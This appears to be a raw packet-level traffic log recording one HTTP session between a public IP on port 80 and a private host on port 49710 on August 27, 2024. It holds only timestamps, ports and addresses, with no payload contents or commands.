Aug 27, 2024 20:12:06.058178902 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.058187008 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.058233023 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.058279991 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.058290958 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.058303118 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.058322906 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.058345079 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.058393002 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.058403969 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.058434010 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.058446884 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.058512926 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.058525085 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.058536053 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.058548927 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.058558941 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.058559895 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.058588982 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.058598042 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.058793068 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.058835030 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.058850050 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.058868885 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.058880091 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.058885098 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.058909893 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.058919907 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.058960915 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.058973074 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.059003115 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.059024096 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.059108973 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.059120893 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.059134007 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.059145927 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.059149027 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.059159040 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.059166908 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.059180975 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.059205055 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.059235096 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.059276104 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.059315920 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.059325933 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.059353113 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.059365034 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.059578896 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.059621096 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.059626102 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.059638023 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.059664011 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.059675932 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.059758902 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.059771061 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.059782028 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.059791088 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.059794903 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.059808016 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.059827089 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.059984922 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.059995890 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.060008049 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.060019970 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.060023069 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.060033083 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.060045004 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.060051918 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.060062885 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.060089111 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.060097933 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.060265064 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.060276031 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.060286999 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.060305119 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.060311079 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.060316086 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.060322046 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.060328960 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.060328960 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.060360909 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.060516119 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.060528040 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.060539007 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.060550928 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.060559034 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.060589075 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.060667992 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.060678959 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.060689926 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.060699940 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.060707092 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.060729027 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.060821056 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.060832977 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.060843945 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.060856104 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.060861111 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.060889959 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.060978889 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.060990095 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.061002970 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.061012030 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.061019897 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.061048031 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.061073065 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.061167002 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.061177969 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.061188936 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.061203003 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.061207056 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.061227083 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.061227083 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.061238050 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.061249971 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.061253071 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.061263084 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.061288118 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.061305046 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.062657118 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.062668085 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.062679052 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.062706947 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.062722921 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.062726974 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.062738895 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.062752962 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.062763929 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.062777996 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.062794924 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.062819958 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.062933922 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.062946081 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.062956095 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.062974930 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.062979937 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.062993050 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.062994003 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.063004971 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.063016891 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.063019037 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.063029051 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.063043118 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.063055992 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.063064098 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.063091040 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.063230038 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.063241959 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.063261032 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.063266993 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.063272953 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.063277960 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.063290119 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.063302040 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.063304901 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.063316107 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.063328028 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.063359022 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.063369989 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.063477039 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.063488007 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.063503981 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.063515902 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.063522100 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.063546896 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.063708067 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.063719988 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.063730001 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.063740969 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.063751936 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.063752890 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.063764095 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.063770056 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.063776970 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.063802004 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.063824892 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.063868999 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.063879967 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.063890934 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.063901901 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.063905954 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.063915014 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.063924074 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.063927889 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.063952923 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.063975096 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.144874096 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.144896030 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.144907951 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.144929886 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.144959927 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.145041943 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.145092010 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.145106077 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.145117998 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.145118952 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.145128965 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.145147085 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.145174026 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.145195007 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.145205975 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.145216942 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.145234108 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.145257950 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.145328999 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.145342112 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.145354033 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.145370007 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.145375967 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.145430088 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.145684004 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.145694017 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.145704985 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.145718098 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.145726919 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.145741940 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.145754099 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.145755053 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.145767927 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.145776033 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.145807028 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.145824909 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.145854950 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.145860910 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.145891905 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.145917892 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.145929098 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.145941019 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.145953894 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.145953894 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.145970106 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.145991087 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.146075964 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.146087885 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.146114111 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.146147966 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.146243095 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.146250963 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.146265984 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.146275043 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.146291018 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.146306992 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.146321058 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.146342039 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.146353006 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.146364927 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.146367073 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.146370888 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.146373987 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.146395922 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.146414995 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.146539927 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.146552086 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.146581888 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.146595955 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.146611929 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.146631956 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.146658897 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.146735907 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.146749020 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.146760941 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.146770954 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.146771908 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.146783113 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.146789074 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.146810055 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.146933079 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.146945953 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.146955967 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.146966934 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.146972895 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.146979094 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.146990061 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.147008896 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.147038937 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.147124052 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.147165060 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.147192955 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.147205114 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.147216082 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.147228003 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.147231102 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.147243023 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.147248030 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.147264957 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.147265911 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.147277117 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.147288084 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.147324085 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.147376060 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.147408962 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.147430897 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.147442102 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.147470951 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.147557974 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.147568941 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.147582054 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.147592068 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.147593975 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.147603035 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.147613049 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.147619963 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.147648096 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.147806883 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.147816896 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.147829056 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.147841930 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.147847891 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.147852898 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.147865057 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.147870064 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.147877932 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.147891998 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.147914886 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.149272919 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.149290085 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.149327993 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.149339914 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.149349928 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.149360895 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.149370909 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.149382114 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.149389029 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.149418116 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.149465084 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.149477959 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.149488926 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.149494886 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.149507046 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.149534941 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.149666071 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.149682045 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.149708033 CEST	80	49710	147.45.47.253	192.168.2.6
